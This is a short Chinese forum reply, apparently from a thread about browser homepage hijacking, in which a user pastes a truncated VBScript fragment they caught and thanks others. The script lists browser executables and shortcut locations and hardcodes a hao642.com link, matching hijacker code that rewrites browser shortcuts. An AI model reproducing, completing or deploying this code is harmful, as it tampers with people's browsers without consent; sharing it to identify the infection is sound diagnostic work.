- 积分
- 8170
- 最后登录
- 2024-4-28
- 精华
- 0
- 阅读权限
- 100
- 主题
- 343
- UID
- 3805006
- 帖子
- 16105
- PB币
- 7
- 威望
- 288
- 贡献
- 0
- 技术
- 81
- 活跃
- 15215
氺氺
- UID
- 3805006
- 帖子
- 16105
- PB币
- 7
- 贡献
- 0
- 技术
- 81
- 活跃
- 15215
|
80F
发表于 2017-3-23 13:24:13
IP属地江西
|只看该作者
- On Error Resume Next:Const link = "http://hao642.com/?r=gameall&m=c37":Const link360 = "http://hao642.com/?r=gameall&m=c37&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\kfc\Desktop,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\kfc\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\kfc\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LC
复制代码 抓到了一个,谢谢! |
|